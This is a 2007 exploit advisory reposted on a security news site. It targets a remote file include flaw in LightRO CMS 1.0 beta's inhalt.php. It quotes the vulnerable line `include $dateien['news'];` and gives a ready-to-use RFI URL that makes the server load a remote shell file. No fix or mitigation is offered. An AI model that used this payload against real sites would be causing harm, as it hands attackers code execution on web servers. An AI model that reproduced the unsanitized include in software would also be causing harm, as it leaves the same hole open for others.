_
_ _ 11.21.2008
 
_ Navigation: _
Main Page Technology Downloads Security Entertainment Videos
Search Site: Advanced
_
 
Login Login
 
Register Register
   
_ News Item

LightRO CMS 1.0 (inhalt.php) Remote File Include Vulnerability

Feb 07 2007 19:55:29
Source: ace
vote bad  vote good
0
*******************************************************************************
# Title : LightRO CMS 1 beta(inhalt.php) Remote File Include Vulnerability
# Author : ajann
# Contact : :(
# S.Page : http://www.lightro.de.tc/
# $$ : Free

*******************************************************************************
[[ERROR]]]
..
...
.....
<?
include $dateien['news'];
?>
..
...
.....

[[ERROR]]]


[[RFI]]]

http://[target]/[path]/inhalt.php?dateien[news]=[SHELL]

Example:

//inhalt.php?dateien[news]=http://[target]/[path]/shell.x

[[/RFI]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

» full story @ source-link: ace
Related Articles:
» Xpression News 1.0.1 (archives.php) Remote File Disclosure Exploit
» S-Gastebuch <= 1.5.3 (gb_pfad) Remote File Include Exploit
» PHP-Nuke Module Emporium <= 2.3.0 Remote SQL Injection Exploit
» SendStudio <= 2004.14 (ROOTDIR) Remote File Inclusion Vulnerability
_ Comments
Add Comment
You must be registered and logged in to add comments!

Register
Login
_ Sponsors

_ Sponsors